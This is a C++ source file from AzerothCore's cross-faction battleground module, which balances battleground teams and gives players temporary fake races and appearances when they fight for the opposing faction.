33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33 33
*/
|
/*
* Copyright (С) since 2019 Andrei Guluaev (Winfidonarleyan/Kargatum) https://github.com/Winfidonarleyan
* Copyright (С) since 2019+ AzerothCore <www.azerothcore.org>
* Licence MIT https://opensource.org/MIT
*/
#include "CFBG.h"
#include "BattlegroundMgr.h"
#include "Chat.h"
#include "Config.h"
#include "Containers.h"
#include "GroupMgr.h"
#include "Language.h"
#include "Log.h"
#include "Opcodes.h"
#include "ScriptMgr.h"
CFBG* CFBG::instance()
{
static CFBG instance;
return &instance;
}
void CFBG::LoadConfig()
{
_IsEnableSystem = sConfigMgr->GetOption<bool>("CFBG.Enable", false);
_IsEnableAvgIlvl = sConfigMgr->GetOption<bool>("CFBG.Include.Avg.Ilvl.Enable", false);
_IsEnableBalancedTeams = sConfigMgr->GetOption<bool>("CFBG.BalancedTeams", false);
_IsEnableEvenTeams = sConfigMgr->GetOption<bool>("CFBG.EvenTeams.Enabled", false);
_IsEnableBalanceClassLowLevel = sConfigMgr->GetOption<bool>("CFBG.BalancedTeams.Class.LowLevel", true);
_IsEnableResetCooldowns = sConfigMgr->GetOption<bool>("CFBG.ResetCooldowns", false);
_EvenTeamsMaxPlayersThreshold = sConfigMgr->GetOption<uint32>("CFBG.EvenTeams.MaxPlayersThreshold", 5);
_MaxPlayersCountInGroup = sConfigMgr->GetOption<uint32>("CFBG.Players.Count.In.Group", 3);
_balanceClassMinLevel = sConfigMgr->GetOption<uint8>("CFBG.BalancedTeams.Class.MinLevel", 10);
_balanceClassMaxLevel = sConfigMgr->GetOption<uint8>("CFBG.BalancedTeams.Class.MaxLevel", 19);
_balanceClassLevelDiff = sConfigMgr->GetOption<uint8>("CFBG.BalancedTeams.Class.LevelDiff", 2);
}
bool CFBG::IsEnableSystem()
{
return _IsEnableSystem;
}
bool CFBG::IsEnableAvgIlvl()
{
return _IsEnableAvgIlvl;
}
bool CFBG::IsEnableBalancedTeams()
{
return _IsEnableBalancedTeams;
}
bool CFBG::IsEnableBalanceClassLowLevel()
{
return _IsEnableBalanceClassLowLevel;
}
bool CFBG::IsEnableEvenTeams()
{
return _IsEnableEvenTeams;
}
bool CFBG::IsEnableResetCooldowns()
{
return _IsEnableResetCooldowns;
}
uint32 CFBG::EvenTeamsMaxPlayersThreshold()
{
return _EvenTeamsMaxPlayersThreshold;
}
uint32 CFBG::GetMaxPlayersCountInGroup()
{
return _MaxPlayersCountInGroup;
}
uint32 CFBG::GetBGTeamAverageItemLevel(Battleground* bg, TeamId team)
{
if (!bg)
{
return 0;
}
uint32 sum = 0;
uint32 count = 0;
for (auto [playerGuid, player] : bg->GetPlayers())
{
if (player && player->GetTeamId() == team)
{
sum += player->GetAverageItemLevel();
count++;
}
}
if (!count || !sum)
{
return 0;
}
return sum / count;
}
uint32 CFBG::GetBGTeamSumPlayerLevel(Battleground* bg, TeamId team)
{
if (!bg)
{
return 0;
}
uint32 sum = 0;
for (auto [playerGuid, player] : bg->GetPlayers())
{
if (player && player->GetTeamId() == team)
{
sum += player->getLevel();
}
}
return sum;
}
TeamId CFBG::GetLowerTeamIdInBG(Battleground* bg, Player* player)
{
int32 PlCountA = bg->GetPlayersCountByTeam(TEAM_ALLIANCE);
int32 PlCountH = bg->GetPlayersCountByTeam(TEAM_HORDE);
uint32 Diff = abs(PlCountA - PlCountH);
if (Diff)
{
return PlCountA < PlCountH ? TEAM_ALLIANCE : TEAM_HORDE;
}
if (IsEnableBalancedTeams())
{
return SelectBgTeam(bg, player);
}
if (IsEnableAvgIlvl() && !IsAvgIlvlTeamsInBgEqual(bg))
{
return GetLowerAvgIlvlTeamInBg(bg);
}
return urand(0, 1) ? TEAM_ALLIANCE : TEAM_HORDE;
}
TeamId CFBG::SelectBgTeam(Battleground* bg, Player *player)
{
uint32 playerLevelAlliance = GetBGTeamSumPlayerLevel(bg, TeamId::TEAM_ALLIANCE);
uint32 playerLevelHorde = GetBGTeamSumPlayerLevel(bg, TeamId::TEAM_HORDE);
if (playerLevelAlliance == playerLevelHorde)
{
return GetLowerAvgIlvlTeamInBg(bg);
}
TeamId team = (playerLevelAlliance < playerLevelHorde) ? TEAM_ALLIANCE : TEAM_HORDE;
if (IsEnableEvenTeams())
{
if (joiningPlayers % 2 == 0)
{
if (player)
{
bool balancedClass = false;
auto playerLevel = player->getLevel();
// if CFBG.BalancedTeams.LowLevelClass is enabled, check the quantity of hunter per team if the player is an hunter
if (IsEnableBalanceClassLowLevel() &&
(playerLevel >= _balanceClassMinLevel && playerLevel <= _balanceClassMaxLevel) &&
(playerLevel >= getBalanceClassMinLevel(bg)) &&
(player->getClass() == CLASS_HUNTER || isHunterJoining)) // if the current player is hunter OR there is a hunter in the joining queue while a non-hunter player is joining
{
team = getTeamWithLowerClass(bg, CLASS_HUNTER);
balancedClass = true;
if (isHunterJoining && player->getClass() != CLASS_HUNTER)
{
team = team == TEAM_ALLIANCE ? TEAM_HORDE : TEAM_ALLIANCE; // swap the team
}
isHunterJoining = false;
}
// if who is joining (who can enter in the battle):
// 1 - has the level lower than the average players level of the joining-queue
// - OR -
// 2 - has the average item level lower than the average players itme level
//
// put him in the stronger team, so swap the team
if (
(playerLevel < averagePlayersLevelQueue || // 1
(playerLevel == averagePlayersLevelQueue && player->GetAverageItemLevel() < averagePlayersItemLevelQueue)) // 2
&& !balancedClass // check if the team has been balanced already by the class balance logic
)
{
team = team == TEAM_ALLIANCE ? TEAM_HORDE : TEAM_ALLIANCE; // swap the team
}
}
}
if (joiningPlayers > 0)
{
joiningPlayers--;
}
}
return team;
}
uint8 CFBG::getBalanceClassMinLevel(const Battleground *bg) const
{
return static_cast<uint8>(bg->GetMaxLevel()) - _balanceClassLevelDiff;
}
TeamId CFBG::getTeamWithLowerClass(Battleground *bg, Classes c) {
uint16 hordeClassQty = 0;
uint16 allianceClassQty = 0;
for (auto [playerGuid, player] : bg->GetPlayers())
{
if (player && player->getClass() == c)
{
if (player->GetTeamId() == TEAM_ALLIANCE)
{
allianceClassQty++;
}
else
{
hordeClassQty++;
}
}
}
return hordeClassQty > allianceClassQty ? TEAM_ALLIANCE : TEAM_HORDE;
}
TeamId CFBG::GetLowerAvgIlvlTeamInBg(Battleground* bg)
{
uint32 AvgAlliance = GetBGTeamAverageItemLevel(bg, TeamId::TEAM_ALLIANCE);
uint32 AvgHorde = GetBGTeamAverageItemLevel(bg, TeamId::TEAM_HORDE);
return (AvgAlliance < AvgHorde) ? TEAM_ALLIANCE : TEAM_HORDE;
}
bool CFBG::IsAvgIlvlTeamsInBgEqual(Battleground* bg)
{
uint32 AvgAlliance = GetBGTeamAverageItemLevel(bg, TeamId::TEAM_ALLIANCE);
uint32 AvgHorde = GetBGTeamAverageItemLevel(bg, TeamId::TEAM_HORDE);
return AvgAlliance == AvgHorde;
}
void CFBG::ValidatePlayerForBG(Battleground* bg, Player* player, TeamId teamId)
{
BGData bgdata = player->GetBGData();
bgdata.bgTeamId = teamId;
player->SetBGData(bgdata);
SetFakeRaceAndMorph(player);
float x, y, z, o;
bg->GetTeamStartLoc(teamId, x, y, z, o);
player->TeleportTo(bg->GetMapId(), x, y, z, o);
}
uint32 CFBG::GetAllPlayersCountInBG(Battleground* bg)
{
return bg->GetPlayersSize();
}
uint8 CFBG::GetRandomRace(std::initializer_list<uint32> races)
{
return Acore::Containers::SelectRandomContainerElement(races);
}
uint32 CFBG::GetMorphFromRace(uint8 race, uint8 gender)
{
if (gender == GENDER_MALE)
{
switch (race)
{
case RACE_ORC:
return FAKE_M_FEL_ORC;
case RACE_DWARF:
return FAKE_M_DWARF;
case RACE_NIGHTELF:
return FAKE_M_NIGHT_ELF;
case RACE_DRAENEI:
return FAKE_M_BROKEN_DRAENEI;
case RACE_TROLL:
return FAKE_M_TROLL;
case RACE_HUMAN:
return FAKE_M_HUMAN;
case RACE_BLOODELF:
return FAKE_M_BLOOD_ELF;
case RACE_GNOME:
return FAKE_M_GNOME;
case RACE_TAUREN:
return FAKE_M_TAUREN;
default:
return FAKE_M_BLOOD_ELF; // this should never happen, it's to fix a warning about return value
}
}
else
{
switch (race)
{
case RACE_ORC:
return FAKE_F_ORC;
case RACE_DRAENEI:
return FAKE_F_DRAENEI;
case RACE_HUMAN:
return FAKE_F_HUMAN;
case RACE_BLOODELF:
return FAKE_F_BLOOD_ELF;
case RACE_GNOME:
return FAKE_F_GNOME;
case RACE_TAUREN:
return FAKE_F_TAUREN;
default:
return FAKE_F_BLOOD_ELF; // this should never happen, it's to fix a warning about return value
}
}
}
void CFBG::RandomRaceMorph(uint8* race, uint32* morph, TeamId team, uint8 _class, uint8 gender)
{
// if alliance find a horde race
if (team == TEAM_ALLIANCE)
{
// default race because UNDEAD morph is missing
*race = RACE_BLOODELF;
/*
* TROLL FEMALE morph is missing
* therefore MALE and FEMALE are handled in a different way
*
* UNDEAD is missing too but for both gender
*/
if (gender == GENDER_MALE)
{
*morph = FAKE_M_BLOOD_ELF;
switch (_class)
{
case CLASS_DRUID:
*race = RACE_TAUREN;
*morph = FAKE_M_TAUREN;
break;
case CLASS_SHAMAN:
case CLASS_WARRIOR:
// UNDEAD missing (only for WARRIOR)
*race = GetRandomRace({ RACE_ORC, RACE_TAUREN, RACE_TROLL });
*morph = GetMorphFromRace(*race, gender);
break;
case CLASS_PALADIN:
// BLOOD ELF, so default race
break;
case CLASS_HUNTER:
case CLASS_DEATH_KNIGHT:
// UNDEAD missing (only for DEATH_KNIGHT)
*race = GetRandomRace({ RACE_ORC, RACE_TAUREN, RACE_TROLL, RACE_BLOODELF });
*morph = GetMorphFromRace(*race, gender);
break;
case CLASS_ROGUE:
// UNDEAD missing
*race = GetRandomRace({ RACE_ORC, RACE_TROLL, RACE_BLOODELF });
*morph = GetMorphFromRace(*race, gender);
break;
case CLASS_MAGE:
case CLASS_PRIEST:
// UNDEAD missing
*race = GetRandomRace({ RACE_TROLL, RACE_BLOODELF });
*morph = GetMorphFromRace(*race, gender);
break;
case CLASS_WARLOCK:
// UNDEAD missing
*race = GetRandomRace({ RACE_ORC, RACE_BLOODELF });
*morph = GetMorphFromRace(*race, gender);
break;
}
}
else
{
*morph = FAKE_F_BLOOD_ELF;
switch (_class)
{
case CLASS_DRUID:
*race = RACE_TAUREN;
*morph = FAKE_F_TAUREN;
break;
case CLASS_SHAMAN:
case CLASS_WARRIOR:
// UNDEAD missing (only for WARRIOR)
// TROLL FEMALE missing
*race = GetRandomRace({ RACE_ORC, RACE_TAUREN });
*morph = GetMorphFromRace(*race, gender);
break;
case CLASS_HUNTER:
case CLASS_DEATH_KNIGHT:
// TROLL FEMALE is missing
// UNDEAD is missing (only for DEATH_KNIGHT)
*race = GetRandomRace({ RACE_ORC, RACE_TAUREN, RACE_BLOODELF });
*morph = GetMorphFromRace(*race, gender);
break;
case CLASS_ROGUE:
case CLASS_WARLOCK:
// UNDEAD is missing
// TROLL FEMALE is missing (only for Rogue)
*race = GetRandomRace({ RACE_ORC, RACE_BLOODELF });
*morph = GetMorphFromRace(*race, gender);
break;
case CLASS_PALADIN:
// BLOOD ELF, so default race
case CLASS_MAGE:
case CLASS_PRIEST:
// UNDEAD and TROLL FEMALE morph are missing so use BLOOD ELF (default race)
break;
}
}
}
else // otherwise find an alliance race
{
// default race
*race = RACE_HUMAN;
/*
* FEMALE morphs DWARF and NIGHT ELF are missing
* therefore MALE and FEMALE are handled in a different way
*
* removed RACE NIGHT_ELF to prevent client crash
*/
if (gender == GENDER_MALE)
{
*morph = FAKE_M_HUMAN;
switch (_class)
{
case CLASS_DRUID:
*race = RACE_HUMAN; /* RACE_NIGHTELF; */
*morph = FAKE_M_NIGHT_ELF;
break;
case CLASS_SHAMAN:
*race = RACE_DRAENEI;
*morph = FAKE_M_BROKEN_DRAENEI;
break;
case CLASS_WARRIOR:
case CLASS_DEATH_KNIGHT:
*race = GetRandomRace({ RACE_HUMAN, RACE_DWARF, RACE_GNOME, /* RACE_NIGHTELF, */ RACE_DRAENEI });
*morph = GetMorphFromRace(*race, gender);
break;
case CLASS_PALADIN:
*race = GetRandomRace({ RACE_HUMAN, RACE_DWARF, RACE_DRAENEI });
*morph = GetMorphFromRace(*race, gender);
break;
case CLASS_HUNTER:
*race = GetRandomRace({ RACE_DWARF, /* RACE_NIGHTELF, */ RACE_DRAENEI });
*morph = GetMorphFromRace(*race, gender);
break;
case CLASS_ROGUE:
*race = GetRandomRace({ RACE_HUMAN, RACE_DWARF, RACE_GNOME/* , RACE_NIGHTELF */ });
*morph = GetMorphFromRace(*race, gender);
break;
case CLASS_PRIEST:
*race = GetRandomRace({ RACE_HUMAN, RACE_DWARF, /* RACE_NIGHTELF,*/ RACE_DRAENEI });
*morph = GetMorphFromRace(*race, gender);
break;
case CLASS_MAGE:
*race = GetRandomRace({ RACE_HUMAN, RACE_GNOME, RACE_DRAENEI });
*morph = GetMorphFromRace(*race, gender);
break;
case CLASS_WARLOCK:
*race = GetRandomRace({ RACE_HUMAN, RACE_GNOME });
*morph = GetMorphFromRace(*race, gender);
break;
}
}
else
{
*morph = FAKE_F_HUMAN;
switch (_class)
{
case CLASS_DRUID:
// FEMALE NIGHT ELF is missing
break;
case CLASS_SHAMAN:
case CLASS_HUNTER:
// FEMALE DWARF and NIGHT ELF are missing (only for HUNTER)
*race = RACE_DRAENEI;
*morph = FAKE_F_DRAENEI;
break;
case CLASS_WARRIOR:
case CLASS_DEATH_KNIGHT:
case CLASS_MAGE:
// DWARF and NIGHT ELF are missing (only for WARRIOR and DEATH_KNIGHT)
*race = GetRandomRace({ RACE_HUMAN, RACE_GNOME, RACE_DRAENEI });
*morph = GetMorphFromRace(*race, gender);
break;
case CLASS_PALADIN:
case CLASS_PRIEST:
// DWARF is missing
*race = GetRandomRace({ RACE_HUMAN, RACE_DRAENEI });
*morph = GetMorphFromRace(*race, gender);
break;
case CLASS_ROGUE:
case CLASS_WARLOCK:
// DWARF and NIGHT ELF are missing (only for ROGUE)
*race = GetRandomRace({ RACE_HUMAN, RACE_GNOME });
*morph = GetMorphFromRace(*race, gender);
break;
}
}
}
}
void CFBG::SetFakeRaceAndMorph(Player* player)
{
if (!player->InBattleground())
{
return;
}
if (player->GetTeamId(true) == player->GetBgTeamId())
{
return;
}
if (IsPlayerFake(player)) {
return;
}
uint8 FakeRace;
uint32 FakeMorph;
// generate random race and morph
RandomRaceMorph(&FakeRace, &FakeMorph, player->GetTeamId(true), player->getClass(), player->getGender());
FakePlayer fakePlayer;
fakePlayer.FakeMorph = FakeMorph;
fakePlayer.FakeRace = FakeRace;
fakePlayer.FakeTeamID = player->TeamIdForRace(FakeRace);
fakePlayer.RealMorph = player->GetDisplayId();
fakePlayer.RealNativeMorph = player->GetNativeDisplayId();
fakePlayer.RealRace = player->getRace(true);
fakePlayer.RealTeamID = player->GetTeamId(true);
_fakePlayerStore[player] = fakePlayer;
player->setRace(FakeRace);
SetFactionForRace(player, FakeRace);
player->SetDisplayId(FakeMorph);
player->SetNativeDisplayId(FakeMorph);
}
void CFBG::SetFactionForRace(Player* player, uint8 Race)
{
player->setTeamId(player->TeamIdForRace(Race));
ChrRacesEntry const* DBCRace = sChrRacesStore.LookupEntry(Race);
player->setFaction(DBCRace ? DBCRace->FactionID : 0);
}
void CFBG::ClearFakePlayer(Player* player)
{
if (!IsPlayerFake(player))
return;
player->setRace(_fakePlayerStore[player].RealRace);
player->SetDisplayId(_fakePlayerStore[player].RealMorph);
player->SetNativeDisplayId(_fakePlayerStore[player].RealNativeMorph);
SetFactionForRace(player, _fakePlayerStore[player].RealRace);
_fakePlayerStore.erase(player);
}
bool CFBG::IsPlayerFake(Player* player)
{
auto const& itr = _fakePlayerStore.find(player);
if (itr != _fakePlayerStore.end())
return true;
return false;
}
void CFBG::DoForgetPlayersInList(Player* player)
{
// m_FakePlayers is filled from a vector within the battleground
// they were in previously so all players that have been in that BG will be invalidated.
for (auto itr : _fakeNamePlayersStore)
{
WorldPacket data(SMSG_INVALIDATE_PLAYER, 8);
data << itr.second;
player->GetSession()->SendPacket(&data);
if (Player* _player = ObjectAccessor::FindPlayer(itr.second))
player->GetSession()->SendNameQueryOpcode(_player->GetGUID());
}
_fakeNamePlayersStore.erase(player);
}
void CFBG::FitPlayerInTeam(Player* player, bool action, Battleground* bg)
{
if (!bg)
bg = player->GetBattleground();
if ((!bg || bg->isArena()) && action)
return;
if (action)
SetForgetBGPlayers(player, true);
else
SetForgetInListPlayers(player, true);
}
void CFBG::SetForgetBGPlayers(Player* player, bool value)
{
_forgetBGPlayersStore[player] = value;
}
bool CFBG::ShouldForgetBGPlayers(Player* player)
{
return _forgetBGPlayersStore[player];
}
void CFBG::SetForgetInListPlayers(Player* player, bool value)
{
_forgetInListPlayersStore[player] = value;
}
bool CFBG::ShouldForgetInListPlayers(Player* player)
{
return _forgetInListPlayersStore.find(player) != _forgetInListPlayersStore.end() && _forgetInListPlayersStore[player];
}
void CFBG::DoForgetPlayersInBG(Player* player, Battleground* bg)
{
for (auto itr : bg->GetPlayers())
{
// Here we invalidate players in the bg to the added player
WorldPacket data1(SMSG_INVALIDATE_PLAYER, 8);
data1 << itr.first;
player->GetSession()->SendPacket(&data1);
if (Player* _player = ObjectAccessor::FindPlayer(itr.first))
{
player->GetSession()->SendNameQueryOpcode(_player->GetGUID()); // Send namequery answer instantly if player is available
// Here we invalidate the player added to players in the bg
WorldPacket data2(SMSG_INVALIDATE_PLAYER, 8);
data2 << player->GetGUID();
_player->GetSession()->SendPacket(&data2);
_player->GetSession()->SendNameQueryOpcode(player->GetGUID());
}
}
}
bool CFBG::SendRealNameQuery(Player* player)
{
if (IsPlayingNative(player))
return false;
WorldPacket data(SMSG_NAME_QUERY_RESPONSE, (8 + 1 + 1 + 1 + 1 + 1 + 10));
data << player->GetGUID().WriteAsPacked(); // player guid
data << uint8(0); // added in 3.1; if > 1, then end of packet
data << player->GetName(); // played name
data << uint8(0); // realm name for cross realm BG usage
data << uint8(player->getRace(true));
data << uint8(player->getGender());
data << uint8(player->getClass());
data << uint8(0); // is not declined
player->GetSession()->SendPacket(&data);
return true;
}
bool CFBG::IsPlayingNative(Player* player)
{
return player->GetTeamId(true) == player->GetBGData().bgTeamId;
}
bool CFBG::FillPlayersToCFBGWithSpecific(BattlegroundQueue* bgqueue, Battleground* bg, const int32 aliFree, const int32 hordeFree, BattlegroundBracketId thisBracketId, BattlegroundQueue* specificQueue, BattlegroundBracketId specificBracketId)
{
if (!IsEnableSystem() || bg->isArena() || bg->isRated())
return false;
// clear selection pools
bgqueue->m_SelectionPools[TEAM_ALLIANCE].Init();
bgqueue->m_SelectionPools[TEAM_HORDE].Init();
// quick check if nothing we can do:
if (!sBattlegroundMgr->isTesting() && bgqueue->m_QueuedGroups[thisBracketId][BG_QUEUE_CFBG].empty() && specificQueue->m_QueuedGroups[specificBracketId][BG_QUEUE_CFBG].empty())
return false;
// copy groups from both queues to new joined container
BattlegroundQueue::GroupsQueueType m_QueuedBoth[BG_TEAMS_COUNT];
m_QueuedBoth[TEAM_ALLIANCE].insert(m_QueuedBoth[TEAM_ALLIANCE].end(), specificQueue->m_QueuedGroups[specificBracketId][BG_QUEUE_CFBG].begin(), specificQueue->m_QueuedGroups[specificBracketId][BG_QUEUE_CFBG].end());
m_QueuedBoth[TEAM_ALLIANCE].insert(m_QueuedBoth[TEAM_ALLIANCE].end(), bgqueue->m_QueuedGroups[thisBracketId][BG_QUEUE_CFBG].begin(), bgqueue->m_QueuedGroups[thisBracketId][BG_QUEUE_CFBG].end());
m_QueuedBoth[TEAM_HORDE].insert(m_QueuedBoth[TEAM_HORDE].end(), specificQueue->m_QueuedGroups[specificBracketId][BG_QUEUE_CFBG].begin(), specificQueue->m_QueuedGroups[specificBracketId][BG_QUEUE_CFBG].end());
m_QueuedBoth[TEAM_HORDE].insert(m_QueuedBoth[TEAM_HORDE].end(), bgqueue->m_QueuedGroups[thisBracketId][BG_QUEUE_CFBG].begin(), bgqueue->m_QueuedGroups[thisBracketId][BG_QUEUE_CFBG].end());
// ally: at first fill as much as possible
BattlegroundQueue::GroupsQueueType::const_iterator Ali_itr = m_QueuedBoth[TEAM_ALLIANCE].begin();
for (; Ali_itr != m_QueuedBoth[TEAM_ALLIANCE].end() && bgqueue->m_SelectionPools[TEAM_ALLIANCE].AddGroup((*Ali_itr), aliFree); ++Ali_itr);
// horde: at first fill as much as possible
BattlegroundQueue::GroupsQueueType::const_iterator Horde_itr = m_QueuedBoth[TEAM_HORDE].begin();
for (; Horde_itr != m_QueuedBoth[TEAM_HORDE].end() && bgqueue->m_SelectionPools[TEAM_HORDE].AddGroup((*Horde_itr), hordeFree); ++Horde_itr);
return true;
}
bool CFBG::FillPlayersToCFBG(BattlegroundQueue* bgqueue, Battleground* bg, const int32 aliFree, const int32 hordeFree, BattlegroundBracketId bracket_id)
{
if (!IsEnableSystem() || bg->isArena() || bg->isRated())
return false;
// clear selection pools
bgqueue->m_SelectionPools[TEAM_ALLIANCE].Init();
bgqueue->m_SelectionPools[TEAM_HORDE].Init();
uint32 bgPlayersSize = bg->GetPlayersSize();
// if CFBG.EvenTeams is enabled, do not allow to have more player in one faction:
// if treshold is enabled and if the current players quantity inside the BG is greater than the treshold
if (IsEnableEvenTeams() && !(EvenTeamsMaxPlayersThreshold() > 0 && bgPlayersSize >= EvenTeamsMaxPlayersThreshold()*2))
{
uint32 bgQueueSize = bgqueue->m_QueuedGroups[bracket_id][BG_QUEUE_CFBG].size();
// if there is an even size of players in BG and only one in queue do not allow to join the BG
if (bgPlayersSize % 2 == 0 && bgQueueSize == 1) {
return false;
}
// if the sum of the players in BG and the players in queue is odd, add all in BG except one
if ((bgPlayersSize + bgQueueSize) % 2 != 0) {
uint32 playerCount = 0;
// add to the alliance pool the players in queue except the last
BattlegroundQueue::GroupsQueueType::const_iterator Ali_itr = bgqueue->m_QueuedGroups[bracket_id][BG_QUEUE_CFBG].begin();
while (playerCount < bgQueueSize-1 && Ali_itr != bgqueue->m_QueuedGroups[bracket_id][BG_QUEUE_CFBG].end() && bgqueue->m_SelectionPools[TEAM_ALLIANCE].AddGroup((*Ali_itr), aliFree))
{
Ali_itr++;
playerCount++;
}
// add to the horde pool the players in queue except the last
playerCount = 0;
BattlegroundQueue::GroupsQueueType::const_iterator Horde_itr = bgqueue->m_QueuedGroups[bracket_id][BG_QUEUE_CFBG].begin();
while (playerCount < bgQueueSize-1 && Horde_itr != bgqueue->m_QueuedGroups[bracket_id][BG_QUEUE_CFBG].end() && bgqueue->m_SelectionPools[TEAM_HORDE].AddGroup((*Horde_itr), hordeFree))
{
Horde_itr++;
playerCount++;
}
return true;
}
/* only for EvenTeams */
uint32 playerCount = 0;
uint32 sumLevel = 0;
uint32 sumItemLevel = 0;
averagePlayersLevelQueue = 0;
averagePlayersItemLevelQueue = 0;
isHunterJoining = false; // only for balanceClass
FillPlayersToCFBGonEvenTeams(bgqueue, bg, aliFree, bracket_id, TEAM_ALLIANCE, playerCount, sumLevel, sumItemLevel);
FillPlayersToCFBGonEvenTeams(bgqueue, bg, hordeFree, bracket_id, TEAM_HORDE, playerCount, sumLevel, sumItemLevel);
if (playerCount > 0 && sumLevel > 0)
{
averagePlayersLevelQueue = sumLevel / playerCount;
averagePlayersItemLevelQueue = sumItemLevel / playerCount;
joiningPlayers = playerCount;
}
return true;
}
// if CFBG.EvenTeams is disabled:
// quick check if nothing we can do:
if (!sBattlegroundMgr->isTesting() && aliFree > hordeFree && bgqueue->m_QueuedGroups[bracket_id][BG_QUEUE_CFBG].empty())
{
return false;
}
// ally: at first fill as much as possible
BattlegroundQueue::GroupsQueueType::const_iterator Ali_itr = bgqueue->m_QueuedGroups[bracket_id][BG_QUEUE_CFBG].begin();
for (; Ali_itr != bgqueue->m_QueuedGroups[bracket_id][BG_QUEUE_CFBG].end() && bgqueue->m_SelectionPools[TEAM_ALLIANCE].AddGroup((*Ali_itr), aliFree); ++Ali_itr);
// horde: at first fill as much as possible
BattlegroundQueue::GroupsQueueType::const_iterator Horde_itr = bgqueue->m_QueuedGroups[bracket_id][BG_QUEUE_CFBG].begin();
for (; Horde_itr != bgqueue->m_QueuedGroups[bracket_id][BG_QUEUE_CFBG].end() && bgqueue->m_SelectionPools[TEAM_HORDE].AddGroup((*Horde_itr), hordeFree); ++Horde_itr);
return true;
}
void CFBG::FillPlayersToCFBGonEvenTeams(BattlegroundQueue* bgqueue, Battleground* bg, const int32 teamFree, BattlegroundBracketId bracket_id, TeamId faction, uint32& playerCount, uint32& sumLevel, uint32& sumItemLevel) {
BattlegroundQueue::GroupsQueueType::const_iterator teamItr = bgqueue->m_QueuedGroups[bracket_id][BG_QUEUE_CFBG].begin();
while (teamItr != bgqueue->m_QueuedGroups[bracket_id][BG_QUEUE_CFBG].end() && bgqueue->m_SelectionPools[faction].AddGroup((*teamItr), teamFree))
{
if (*teamItr && !(*teamItr)->Players.empty())
{
auto playerGuid = *((*teamItr)->Players.begin());
if (auto player = ObjectAccessor::FindConnectedPlayer(playerGuid))
{
sumLevel += player->getLevel();
sumItemLevel += player->GetAverageItemLevel();
if (IsEnableBalanceClassLowLevel() && isClassJoining(CLASS_HUNTER, player, getBalanceClassMinLevel(bg)))
{
isHunterJoining = true;
}
}
}
teamItr++;
playerCount++;
}
}
bool CFBG::isClassJoining(uint8 _class, Player* player, uint32 minLevel)
{
if (!player)
{
return false;
}
return player->getClass() == _class && (player->getLevel() >= minLevel);
}
void CFBG::UpdateForget(Player* player)
{
Battleground* bg = player->GetBattleground();
if (bg)
{
if (ShouldForgetBGPlayers(player) && bg)
{
DoForgetPlayersInBG(player, bg);
SetForgetBGPlayers(player, false);
}
}
else if (ShouldForgetInListPlayers(player))
{
DoForgetPlayersInList(player);
SetForgetInListPlayers(player, false);
}
}
std::unordered_map<ObjectGuid, uint32> BGSpamProtectionCFBG;
void CFBG::SendMessageQueue(BattlegroundQueue* bgQueue, Battleground* bg, PvPDifficultyEntry const* bracketEntry, Player* leader)
{
BattlegroundBracketId bracketId = bracketEntry->GetBracketId();
char const* bgName = bg->GetName();
uint32 q_min_level = std::min(bracketEntry->minLevel, (uint32)80);
uint32 q_max_level = std::min(bracketEntry->maxLevel, (uint32)80);
uint32 MinPlayers = bg->GetMinPlayersPerTeam() * 2;
uint32 qTotal = bgQueue->GetPlayersCountInGroupsQueue(bracketId, (BattlegroundQueueGroupTypes)BG_QUEUE_CFBG);
if (sWorld->getBoolConfig(CONFIG_BATTLEGROUND_QUEUE_ANNOUNCER_PLAYERONLY))
{
ChatHandler(leader->GetSession()).PSendSysMessage("CFBG %s (Levels: %u - %u). Registered: %u/%u", bgName, q_min_level, q_max_level, qTotal, MinPlayers);
}
else
{
if (sWorld->getBoolConfig(CONFIG_BATTLEGROUND_QUEUE_ANNOUNCER_TIMED))
{
if (bgQueue->GetQueueAnnouncementTimer(bracketEntry->bracketId) < 0)
{
bgQueue->SetQueueAnnouncementTimer(bracketEntry->bracketId, sWorld->getIntConfig(CONFIG_BATTLEGROUND_QUEUE_ANNOUNCER_TIMER));
}
}
else
{
auto searchGUID = BGSpamProtectionCFBG.find(leader->GetGUID());
if (searchGUID == BGSpamProtectionCFBG.end())
BGSpamProtectionCFBG[leader->GetGUID()] = 0;
// Skip if spam time < 30 secs (default)
if (sWorld->GetGameTime() - BGSpamProtectionCFBG[leader->GetGUID()] < sWorld->getIntConfig(CONFIG_BATTLEGROUND_QUEUE_ANNOUNCER_SPAM_DELAY))
{
return;
}
// When limited, it announces only if there are at least CONFIG_BATTLEGROUND_QUEUE_ANNOUNCER_LIMIT_MIN_PLAYERS in queue
auto limitQueueMinLevel = sWorld->getIntConfig(CONFIG_BATTLEGROUND_QUEUE_ANNOUNCER_LIMIT_MIN_LEVEL);
if (limitQueueMinLevel != 0 && q_min_level >= limitQueueMinLevel)
{
// limit only RBG for 80, WSG for lower levels
auto bgTypeToLimit = q_min_level == 80 ? BATTLEGROUND_RB : BATTLEGROUND_WS;
if (bg->GetBgTypeID() == bgTypeToLimit && qTotal < sWorld->getIntConfig(CONFIG_BATTLEGROUND_QUEUE_ANNOUNCER_LIMIT_MIN_PLAYERS))
{
return;
}
}
BGSpamProtectionCFBG[leader->GetGUID()] = sWorld->GetGameTime();
sWorld->SendWorldText(LANG_BG_QUEUE_ANNOUNCE_WORLD, bgName, q_min_level, q_max_level, qTotal, MinPlayers);
}
}
}
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.